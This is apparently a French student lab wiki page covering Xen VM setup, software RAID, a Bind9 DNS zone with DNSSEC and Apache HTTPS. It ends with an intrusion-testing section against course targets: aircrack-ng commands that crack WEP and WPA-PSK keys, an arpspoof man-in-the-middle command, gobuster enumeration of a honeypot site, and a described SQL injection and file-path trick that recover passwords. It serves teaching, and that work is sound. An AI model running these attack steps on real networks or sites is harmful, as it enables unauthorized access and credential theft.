Version du 10 janvier 2022 à 18:20

Plan d'adressage

Table du VLAN 42

Note :

à compléter

• Plan d'adressage IPv4 :

• Plan d'adressage IPv6 :

Configuration du routeur en SR-52

(À compléter)

Machine Virtuelle

Création de la VM

On commence tout d'abord par se connecter au domaine capbreton :

ssh root@capbreton.plil.info

On crée ensuite notre vm avec :

xen-create-image --hostname=Kronenbourg --gateway=193.48.57.188 --ip=193.48.57.176 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglop --dist=bullseye

Afin d'accéder à la console de notre vm il nous fallait au préalable modifier le fichier /etc/xen/Kronenbourg.cfg en y rajoutant dans Networking le bridge IMA5sc :

vif=['ip=193.48.57.176 ,mac=00:16:3E:8A:70:9D, bridge=IMA5sc']

On crée 2 LVM permettant par la suite d'y rattacher notre /home et notre /var :

lvcreate -L10G -n Kronenbourg-home storage
lvcreate -L10G -n Kronenbourg-var storage

Dans /etc/xen/Kronenbourg.cfg :

disk        = [
                 'file:/usr/local/xen/domains/Kronenbourg/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Kronenbourg/swap.img,xvda1,w',
                 'phy:/dev/storage/Kronenbourg-home,xvda3,w',
                 'phy:/dev/storage/Kronenbourg-var,xvda4,w'
             ]

Pour lancer et se connecter à la VM :

xl create /etc/xen/Kronenbourg.cfg -c

Une fois sur la console de la machine, on modifie /etc/fstab, qui gère le mount des partitions au démarrage. On y rajoute les deux entrées suivantes:

/dev/xvda3 /home ext4 defaults	0 2
/dev/xvda4 /var  ext4 defaults	0 2

On modifie également les partitions /dev/xvda3 et /dev/xvda4 en y ajoutant des filesystems de type ext4:

mkfs.ext4 /dev/xdva3

Au début, nous n'avions pas encore accès à Internet. Afin de continuer le TP en attendant :

mount -o loop /usr/local/xen/domains/Kronenbourg/disk.img /mnt/kro/
mount /dev/storage/Kronenbourg-var var/

chroot /mnt/kro

apt update && apt upgrade
apt install apache2

Connexion à Internet

Problèmes initiaux

Dans un premier temps, nous avions utilisé par manque d'adresses l'IP 193.48.57.176/28, qui est en fait l'adresse du réseau.

Ceci a fait que nous ne pouvions pas accéder à Internet, et nous avons également vu certains comportements assez curieux.

Par exemple, depuis notre Zabeth :

pifou@zabeth:~$ ping 193.48.57.176
64 bytes from 192.168.222.74: icmp_seq=1 ttl=253 time=0.561 ms

On voit que c'est une autre machine qui répond (à priori un routeur).

Solution par apprentissage

Pour résoudre ce problème, on décide d'utiliser le réseau des alternants. Leur configuration étant différente de la notre, il y a pas mal de choses à modifier.

Dans /etc/network/interfaces:

iface eth0 inet static
 address 10.60.100.174/24
 up ip address add dev eth0 193.48.57.174/32 ; ip route add default via 10.60.100.254 src 193.48.57.174
 down ip address del dev eth0 193.48.57.174/32 ; ip route del default via 10.60.100.254 src 193.48.57.174

Enfin, on configure le routeur de sorte à amener toutes les trames à destination de 193.48.57.174 à 10.60.100.174.

RAID logiciel

Construire

On crée 3 LVM sur capbreton :

lvcreate -L1G -n Kronenbourg-eins storage
lvcreate -L1G -n Kronenbourg-zwei storage
lvcreate -L1G -n Kronenbourg-drei storage

Dans le fichier de config, on rajoute :

disk = [
       ...
       'phy:/dev/storage/Kronenbourg-eins,xvda11,w',

'phy:/dev/storage/Kronenbourg-zwei,xvda12,w', 'phy:/dev/storage/Kronenbourg-drei,xvda13,w'

]

On relance la machine, et on crée sur chaque disque une partition de type Linux RAID, en utilisant l'utilitaire fdisk.

Enfin, pour créer le RAID :

apt install mdadm
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda1?

Puis, pour pérenniser la configuration :

mdadm --monitor --daemonise /dev/md0

Et on ajoute dans /etc/fstab une entrée pour monter automatiquement le volume.

On peut maintenant préparer un fichier important sur le volume :

echo "Mot de passe important" > /raid/important.txt

Casser

Oh non, pendant la nuit, les loup-garous ont décidé d'enlever le petit zwei !

	'phy:/dev/storage/Kronenbourg-eins,xvda11,w',
	# 'phy:/dev/storage/Kronenbourg-zwei,xvda12,w',
	'phy:/dev/storage/Kronenbourg-drei,xvda13,w',

Dans les logs systemd, on peut voir quelques indices d'un enlèvement :

[   66.334760] md/raid:md0: device xvda13 operational as raid disk 2
[   66.334769] md/raid:md0: device xvda11 operational as raid disk 0
[   66.336044] md/raid:md0: raid level 5 active with 2 out of 3 devices, algorithm 2
[  OK  ] Finished Activate md array md0 even though degraded.

Tout de même, on peut toujours retrouver notre fichier important :

# cat /raid/important.txt
Mot de passe important

Bingo !

Point d'accès WiFi

Services Internet

Serveur DNS

Choix du nom de domaine

Nous avons procédé au choix du nom de domaine sur le site gandi.net : frais-comme-une-kro.club

On définit notre machine virtuelle comme serveur pour notre DNS en rentrant nos adresses IPv4 et IPv6 directement sur le site Gandi.net

On installe ensuite Bind9 sur notre VM, qui permet d'avoir un serveur DNS directement sur la VM :

# apt install bind9

Configuration

Dans /etc/bind/named.conf.local :

zone "frais-comme-une-kro.club" {
	type master;
	file "/etc/bind/db.frais-comme-une-kro.club";
	
	notify yes;
};

Dans /etc/bind/db.frais-comme-une-kro.club :

$TTL 36000
$ORIGIN frais-comme-une-kro.club.
; Le SOA :
@	IN	SOA	frais-comme-une-kro.club. admin.frais-comme-une-kro.club. (
				1	; numero de serie
				3600	; refresh
				180	; retry
				1209600	; expiry
				36000	; nx
				)

; Site du serveur DNS :
	IN	NS	ns1.frais-comme-une-kro.club.

; Adresse du serveur DNS :
ns1	IN	A	193.48.57.174                         ;IPV4
ns1	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8a:709d ;IPV6

; Les adresses :
@	IN	A	193.48.57.174
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8a:709d
www	IN	A	193.48.57.174
www	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8a:709d

Où :

• Le champ $TTL détermine le nombre de secondes avant la prise en compte d'une modification.
• $ORIGIN définit l'adresse référencée par "@", ainsi que le suffixe des mots comme "site" et "ns1".
• IN insinue qu'on utilise des adresses IP.
• A veut dire que le champ en question renvoie une adresse (et non pas un autre serveur DNS par exemple).
• NS signifie qu'on définit un Name Server.

Sécurisation du DNS par DNSSEC

C'est pas un grand secret, surtout en regardant le tuto sur rex.plil.fr .

On se retrouve avec un fichier db.frais-comme-une-kro.club.signed, qui reprend les informations du fichier précédent, en y ayant rajouté des registres DNSKEY, RRSIG et NSEC.

Serveur Web

Page par défaut Apache

Nous installons Apache2. Nous pouvons tout de suite accéder à la page web, qui se présente sous la forme d'une aide sous Debian.

On pimpe cette page en modifiant le fichier /var/www/html/index.html.

Serveur Web, mais sécurisé

Avec openssl, on crée un couple de clés publique(certificat)/privée :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -key server.csr

On demande gentiment à Gandi de nous valider notre certificat .csr. Il nous donne en échange un certificat .crt.

On configure alors Apache pour qu'il utilise ce certificat :

a2enmod ssl     # active le module Apache SSL
a2enmod rewrite # active le module Apache de réécriture des URL

On modifie ensuite /etc/apache2/sites-available/000-default.conf, qui définit les hosts virtuels qui servent notre page Web :

# Port 80 : http
<VirtualHost *:80>
	# Redirige le flux http vers https :
	RewriteEngine On
	RewriteCond %{HTTPS} !=on
	RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# Port 443 : https
<VirtualHost *:443>
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# Utilisation des certificats :
	SSLEngine on
	SSLCertificateFile /root/frais-comme-une-kro.club.crt
	SSLCertificateKeyFile /root/myserver.key
</VirtualHost>

*Click!* 🔒

Tests d'intrusion

WEP

Nous allons procéder à un cassage de clef WEP d'un point d'accès Wi-Fi. Pour cela nous utilisons le paquetage aircrack-ng.

airmon-ng
airmon-ng start wlan0mon

On écoute ensuite les trames Wi-Fi :

airodump-ng --encrypt wep wlan0mon

On repère ensuite l'ESSID correspondant à notre groupe : cracotte01 Puis on récupère son BSSID associé.

aireplay-ng -9 -e cracotte01 -a 04:DA:D2:9C:50:50 wlan0mon

On récupère les VI et on les stocke :

airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w output wlan0mon

On procède ensuite à la fausse identification :

aireplay-ng -1 0 -e cracotte01 -a 04:DA:D2:9C:50:50 -h 40:A5:EF:01:21:80 wlan0mon

On lance ensuite l'algorithme de craquage :

aircrack-ng -b 04:DA:D2:9C:50:50 output*.cap

On obtient ensuite la clef :

WPA-PSK

airmon-ng
airmon-ng start wlan0mon 9
airodump-ng wlan0mon

Nous prenons le point d'accès kracotte01 et récupérons son BSSID

On lance ensuite la commande suivante, tout en la laissant tourner jusqu'à avoir un Handshake :

airodump-ng -c 9 --bssid 44:AD:D9:5F:87:00 -w psk wlan0mon

Il y avait déjà un dictionnaire de créé nous l'avons donc réutilisé

aircrack-ng psk*.cap
aircrack-ng -w dico.txt -b 44:AD:D9:5F:87:00 psk*.cap

Et on laisse tourner, on observe qu'il faut plus de 36h (sur l'ordinateur portable) pour tester toutes les combinaisons présentent dans le dictionnaire :

Attaque de type "homme au milieu" par usurpation ARP

On installe dsniff sur l'ordinateur portable:

apt install dsniff

Ensuite nous devons mettre la variable noyau ip_forward à 1 (qui est de base à 0), cette variable permet à notre machine de se comporter un peu comme un routeur en écoutant sur le réseau:

sysctl -w net.ipv4.ip_forward=1

Il nous faut ensuite choisir un machine à tromper avec notre attaque, on aura besoin de son adresse IP:

172.26.145.52

Ainsi que celle du routeur auquel elle est connecté:

172.26.145.0

On effectue ensuite la commande suivante:

arpspoof -t 172.26.145.52 172.26.145.0

Elle nous permet de se faire passer pour le routeur auprès de la machine

On lance ensuite Wireshark et on filtre les résultat par rapport à l'IP voulu donc celle de la machine ciblée

Intrusion sur un serveur d'application Web

Exploration

Dans un premier temps, on fait du repérage. On va sur le site honey.plil.info. On est invité à entrer un num d'utilisateur et un mot de passe pour se connecter.

En mettant des identifiants aléatoires, un message "Mauvais identifiants" s'affiche.

Avec wireshark

En inspectant la requête POST qui a été envoyée, on voit déjà que les identifiants sont envoyés en clair dans l'URL. Ainsi, en espionnant le réseau, il devrait être possible de récupérer ces derniers. Intéressant..

On essaie de soumettre une requête sans la valeur de mot de passe. On obtient une nouveau message (dans une autre couleur cette fois) : "Les identifiants ne doivent pas être vides". Arf, dommage.

Avec gobuster

On cherche a avoir la liste des URLs accessibles. On peut pour ce faire utiliser gobuster :

sudo apt install gobuster

Il nous faut aussi télécharger une liste de répertoires communs :

wget https://raw.githubusercontent.com/daviddias/node-dirbuster/master/lists/directory-list-2.3-medium.txt

On peut lancer gobuster :

gobuster -e -u http://honey.plil.info/ -w directory-list-2.3-medium.txt
=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://honey.plil.info/
[+] Threads      : 10
[+] Wordlist     : directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
=====================================================
2021/12/13 16:41:23 Starting gobuster
=====================================================
http://honey.plil.info/javascript (Status: 301)
http://honey.plil.info/Docs (Status: 301)
http://honey.plil.info/phpmyadmin (Status: 301)
http://honey.plil.info/server-status (Status: 403)
=====================================================
2021/12/13 16:42:08 Finished
=====================================================

Tiens tiens tiens; on a plusieurs liens.

Le plus intéressant est honey.plil.info/Docs. Je vous laisse découvrir par vous-même les contenus.

Injection SQL

En injectant une requête SQL, on arrive à obtenir une liste de mots de passe disponibles. Malheureusement, on ne trouve pas celui de root, mais on a au moins celui de l'administrateur. On progresse.

Chiffrement de données

2e étape

On arrive sur une interface de gestion des utilisateurs et des manuels.

Les manuels peuvent être rajoutés via leur chemin absolu, ce qui nous permet d'accéder à des fichiers auxquels on n'aurait pas accès autrement. Notamment, on a config-db.php, dans lequel on trouve.. encore un mot de passe !

Celui-ci est pour php-myadmin, cette fois.